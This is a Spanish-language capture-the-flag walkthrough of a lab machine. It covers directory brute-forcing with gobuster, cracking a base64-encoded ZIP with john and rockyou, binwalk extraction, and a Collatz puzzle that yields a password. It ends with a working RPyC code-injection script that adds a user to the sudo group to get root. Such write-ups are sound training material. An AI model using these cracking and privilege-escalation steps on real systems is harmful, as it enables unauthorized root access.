Enumeramos puertos (22, 80 — index of /). Con gobuster encontramos /site y un war.txt:
❯ gobuster dir -u http://192.168.1.32/site -w directory-list-2.3-medium.txt -x php,txt,html
...
/war.txt (Status: 200) [Size: 13]
...war.txt lleva a un ZIP en base64 (cifrado), que crackeamos con john:
❯ curl http://192.168.1.32/site/war-is-over/ | base64 -d > output
❯ zip2john output > hash_heaita
❯ john hash_heaita --wordlist=rockyou.txtDentro hay una imagen king de la que extraemos un usuario con binwalk:
❯ binwalk -e king
...
Zip archive data, ... name: user
...Obtenemos la primera flag y un archivo boat con un acertijo (conjetura de Collatz desde el 29º primo):
#Printable chars are your ally.
#num = 29th prime-number.
collatz-conjecture(num)Generando con Python los valores de Collatz < 255 desde 109 (29º primo) y convirtiéndolos a ASCII (CyberChef) obtenemos la contraseña de ragnar. Su .profile revela:
sudo python3 /usr/local/bin/rpyc_classic.pyRPyC classic permite inyección de código remoto. Creamos un script que se aprovecha para añadir a ragnar al grupo sudo:
import rpyc
def shell():
import os
os.system("sudo usermod -a -G sudo ragnar")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(shell)
fn()Tras ejecutarlo, reconectamos como ragnar, hacemos sudo -s y obtenemos root.
Fin.